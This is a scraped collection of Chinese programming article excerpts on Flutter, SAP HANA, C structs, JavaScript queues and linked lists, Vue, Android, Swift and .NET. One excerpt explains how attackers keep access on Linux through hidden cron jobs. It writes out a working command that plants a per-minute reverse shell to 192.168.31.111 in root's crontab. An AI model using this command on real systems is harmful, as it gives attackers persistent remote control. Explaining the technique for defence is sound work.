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在 Flutter 中创建可拖动的浮动操作按钮

本教程有一个示例,说明您需要做什么才能创建浮动操作按钮,只要它位于父小部件内,就可以将其拖动到屏幕周围的任何位置。 创建可拖动的浮动操作按钮 我们将为这样的小部件创建一个类。...一个浮动的动作按钮通常可以在点击时执行一个动作,所以我们添加一个名为onPressed( VoidCallback) 的参数作为参数。...通常,所需的行为是onPressed仅在点击按钮时调用回调,而不是在拖动结束时调用。然而,当拖动结束时,指针向上事件也会被触发。作为解决方案,我们需要跟踪按钮是否被拖动。...所以,我们可以检查内部onPointerUpcallback 仅onPressed在值为_isDraggingis 时调用回调false。 下面是用于创建可拖动浮动操作按钮的类。...key: _key, child: widget.child, ), ), ); } } 输出: 概括 这就是如何在 Flutter 中创建可拖动的浮动操作按钮

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在SAP HANA中创建结构包

SAP HANA Modeler中不同类型的包: 如果图片不显示,可以关注公众号SAP Technical 包:包是SAP HANA模型的第一个逻辑存储组件。...在包中,您可以定义一个或多个属性视图,分析视图,计算视图,分析特权,决策表,过程。 1. 结构 -包有助于在逻辑树中组织内容。 2.非结构 - 包含信息对象。非结构是由默认创建的。...如果要将此包作为父包转到“属性”并将“结构包”更改为“是”。默认情况下为“否”。 第三步: 单击“编辑包”。结构:是的。然后单击“确定” ? 第4步: 创建Sub Package NSW。...将收到ZS_Australia的提示。 。 在ZS_Australia之后进入NSW。 - >子包。输入名称和描述。 单击确定。...现在,您将能够根据子包NSW的要求创建属性视图,分析视图,计算视图,过程,决策表,分析权限。 ?

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    【C 语言】结构体 ( 结构体 数组 作为函数参数 | 数组 在 堆内存创建 )

    文章目录 一、结构体 数组 作为函数参数 ( 数组 在 堆内存创建 ) 二、完整代码示例 一、结构体 数组 作为函数参数 ( 数组 在 堆内存创建 ) ---- 在上一篇博客 【C 语言】结构体 ( 结构体...数组 作为函数参数 | 数组 在 栈内存创建 ) 的基础上 , 将 栈内存 中的 结构体数组 , 更改为 堆内存 中创建结构体数组 ; 在堆内存中 , 创建 结构体数组 : 传入 二级指针 , 该指针...指向 结构体 指针 , 传入 二级指针 的目的是 , 可以在函数中 , 通过形参 间接赋值 , 达到返回创建堆内存的目的 ; /** * @brief create_student 堆内存中分配内存...@param array 数组作为函数参数退化为指针 * @param count 数组中的元素个数 */ void printf_struct_array(Student *array, int..., 该数组在栈内存中 Student *array = NULL; // 循环控制变量 int i = 0; // 堆内存中为结构体指针分配内存 create_student

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    【C 语言】结构体 ( 结构体 数组 作为函数参数 | 数组 在 栈内存创建 )

    文章目录 一、结构体 数组 作为函数参数 ( 数组 在 栈内存创建 ) 二、完整代码示例 一、结构体 数组 作为函数参数 ( 数组 在 栈内存创建 ) ---- 声明结构体类型 : 定义 结构体 数据类型...name[5]; int age; int id; }Student; 栈内存中声明结构体数组 : // 声明结构体数组 , 该数组在栈内存中 Student array...d", &(array[i].age)); } 结构体数组作为参数 : 使用 结构体数组 作为参数 , 可以进行间接赋值 , 修改该 结构体数组 的元素 , 可以当做返回值使用 ; 此时结构体...@param array 数组作为函数参数退化为指针 * @param count 数组中的元素个数 */ void printf_struct_array(Student *array, int..., 该数组在栈内存中 Student array[3]; // 循环控制变量 int i = 0; // 命令行中 , 接收输入的年龄 for(i = 0;

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    Functions在JavaScript中是作为 first class objects存在的

    Functions在JavaScript中是作为 'first class objects' 存在的。...实际上functions就像是variables 以下列举了关于objects的一些重要的事情(在JS中你也可以用function做同样的事情)。...(); ``` Functions在JavaScript中是作为 first class objects存在的好处是:可以减少重复性的代码 能够在程序中以function的形式传递逻辑,就意味着可以把重复的代码写为一个库函数...如果在库函数中的逻辑有问题的话,在代码中只需要在一个地方修改。另外,你还可以得到一份美味甜食的清单并且好孩子在圣诞节也会得到他们的礼物。...匿名函数式使用function operator在运行时动态创建的函数。匿名函数和‘functions作为first class object’相互配合/作用,导致了JavaScript灵活和动态。

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    在Vue中创建可重用的 Transition

    在我们的案例中,我们真正需要的是通过组件prop控制CSS animation/transition。 我们可以通过不在CSS中指定显式的CSS动画持续时间,而是将其作为样式来实现。...如果我们可以在相同的组件中这样做,并公开一个将切换到transition-group实现的group prop,那会怎么样呢?...再做一些调整,通过在mixin中提取 JS 逻辑,我们可以将其应用于轻松创建新的transition组件,只需将其放入下一个项目中即可。...我认为它非常方便,可以轻松地在不同的项目中使用。你可以试一试:) 总结 我们从一个基本的过渡示例开始,并最终通过可调整的持续时间和transition-group支持来创建可重用的过渡组件。...我们可以使用这些技巧根据并根据自身的需求创建自己的过渡组件。 希望读者从本文中学到了一些知识,并且可以帮助你们建立功能更好的过渡组件。

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    在Android应用中实现跳转的计数和模式切换按钮

    问题描述 在程序应用中,我尝试引入了两个新功能:连续点击跳转UI和切换按钮名称模块显示。...用户在使用过程中遇到了以下问题: 连续点击跳转UI问题:首次连续点击八次能成功跳转UI,但在第二次尝试时无法跳转。 按钮创建问题:应用在每次操作时创建两个按钮,这种方法在视觉上和性能上都不够高效率。...取模运算确保了计数器在达到设定次数后自动归零,还可以无限次重复点击八次的操作。 实现效果:用户现在可以无限次地通过连续点击八次来触发UI跳转。...第二个问题的解决方案:控制按钮可见性 为了解决按钮创建问题,在同一个活动中控制两个按钮的可见性,而不是重复创建按钮: 用户可以通过点击“切换升级模式”按钮进入"升级模式"。...用户再次点击“退出升级模式”按钮返回到"蓝牙模式"。 通过这种方式,提升了用户界面的体验。 结论 通过上述解决方案,解决了用户在操作上的不便,提升了应用的整体性能,还可以优化UI的便捷性。

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    在JavaScript中的数据结构(队列)

    当我们在浏览器中打开新标签时,就会创建一个任务队列。这是因为每个标签都是单线程处 理所有的任务,它被称为事件循环。...队列(Queue)是一种具有先进先出(FIFO, First-In-First-Out)特性的数据结构,它可以用于在计算机程序中管理和存储元素。...在JavaScript中,可以使用数组(Array)或链表(Linked List)等数据结构来实现队列。 其实可以用窗口排队打饭为案例,先来的先排队打饭。...---- 创建队列 队列主要有两个基本操作: 入队(enqueue)和出队(dequeue)。在队列中,新元素被添加到队列末尾,并等待其他已存在的元素被处理后才能被移除。...因此可以对它们使用默认的出列操作: ---- 总结 在JavaScript中,队列(Queue)是一种具有先进先出(FIFO, First-In-First-Out)特性的数据结构,它可以用于在计算机程序中管理和存储元素

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    在JavaScript中的数据结构(链表)

    通过这种方式,链表中的节点可以按顺序链接在一起,形成一个链式结构。与数组不同,链表的节点在内存中可以不连续存储,每个节点都可以独立分配内存,并通过指针连接到下一个节点,从而实现灵活的插入、删除操作。...然而,在大多数语言中这种数据结构有一个缺点:数组的大小是固定的,从数组的起点或中间插入或移除项的成本很高,因为需要移动元素。链表存储有序的元素集合,但不同于数组,链表中的元素在内存中并不是连续放置的。...然而,链表的缺点是访问链表中的特定元素的时间复杂度较高,需要从头开始遍历链表直到找到目标节点。---详细的看一下列表在JavaScript中,可以使用对象来实现链表。...首先需要做的是把element作为值传入,创建Node项。先来实现第一个场景:向为空的列表添加一个元素。...remove(element):从列表中移除一项。indexOf(element):返回元素在列表中的索引。如果列表中没有该元素则返回-1。

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    在JavaScript中的数据结构(链表)

    通过这种方式,链表中的节点可以按顺序链接在一起,形成一个链式结构。 与数组不同,链表的节点在内存中可以不连续存储,每个节点都可以独立分配内存,并通过指针连接到下一个节点,从而实现灵活的插入、删除操作。...然而,在大多数语言中这种数据结构有一个缺点:数组的大小是固定的,从数组的起点或中间插入或移除项的成本很高,因为需要移动元素。...然而,链表的缺点是访问链表中的特定元素的时间复杂度较高,需要从头开始遍历链表直到找到目标节点。 ---- 详细的看一下列表 在JavaScript中,可以使用对象来实现链表。...首先需要做的是把element作为值传入,创建Node项。 先来实现第一个场景:向为空的列表添加一个元素。...insert(position, element):向列表的特定位置插入一个新的项。 remove(element):从列表中移除一项。 indexOf(element):返回元素在列表中的索引。

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    在JavaScript中的数据结构(队列)

    当我们在浏览器中打开新标签时,就会创建一个任务队列。这是因为每个标签都是单线程处理所有的任务,它被称为事件循环。...队列(Queue)是一种具有先进先出(FIFO, First-In-First-Out)特性的数据结构,它可以用于在计算机程序中管理和存储元素。...在JavaScript中,可以使用数组(Array)或链表(Linked List)等数据结构来实现队列。其实可以用窗口排队打饭为案例,先来的先排队打饭。...图片创建队列队列主要有两个基本操作: 入队(enqueue)和出队(dequeue)。在队列中,新元素被添加到队列末尾,并等待其他已存在的元素被处理后才能被移除。...因此可以对它们使用默认的出列操作:图片总结在JavaScript中,队列(Queue)是一种具有先进先出(FIFO, First-In-First-Out)特性的数据结构,它可以用于在计算机程序中管理和存储元素

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    在Linux中创建隐匿的计划任务

    Linux中的计划任务可以让系统周期性地运行所指定的程序或命令,攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文,这里只讲述攻击者如何利用该技术进行权限维持。...首先,使用命令service cron status来检查系统中的计划任务服务是否正常运行,执行结果如图1-1所示,running则代表正在运行。...然后,使用命令crontab -l来查看当前用户在系统中创建的计划任务,执行结果如图1-2所示。...在Linux中“万物皆文件”,crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户的用户名”。...那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root,在计划任务中写入一个每分钟建立回连会话的语句

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    在Swift中创建可缩放的图像视图

    在本教程中,我们将建立一个可缩放、可平移的图像视图来实现这一功能。 计划 他们说,一张图片胜过千言万语--但它不一定要花上一千行代码!对于我们的可缩放图像视图,我们要做的是让它成为一个可缩放的视图。...设置滚动视图 我们需要实际设置我们的滚动视图,使其可缩放和可平移。这包括设置最小和最大的缩放级别,以及指定用户放大时使用的UIView(在我们的例子中,它将是图像视图)。...,然后我们设置PanZoomImageView类作为滚动视图的委托。...我们将通过在我们的类中添加imageName字符串,并在字符串改变时更新UIImageView来实现。...让我们给我们的类添加另一个初始化器,这样我们就可以在代码中设置图像名称。 medium.com/media/074d4… 就这样了!现在我们可以像这样通过图片名称以编程方式初始化我们的视图了。

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    在 .NET 中创建对象的几种方式的对比

    在 .net 中,创建一个对象最简单的方法是直接使用 new (), 在实际的项目中,我们可能还会用到反射的方法来创建对象,如果你看过 Microsoft.Extensions.DependencyInjection...的源码,你会发现,为了保证在不同场景中的兼容性和性能,内部使用了多种反射机制。...,直观和流畅的 Fluent API 设计,通过 roslyn 的强大赋能, 可以在程序运行时创建代码,包括 程序集、类、结构体、枚举、接口、方法等, 用来增加新的功能和模块,这里我们用 NInstance...,现在我开始使用 BenchmarkDotNet 进行基准测试,我也把 new Employee() 直接创建的方式加到测试列表中,并用它作为 "基线",来并比较其他的每种方法,同时我把一些方法的预热操作...这里简单对比了几种创建对象的方法,测试的结果也可能不是特别准确,有兴趣的还可以在 .net framework 上面进行测试,希望对您有用!

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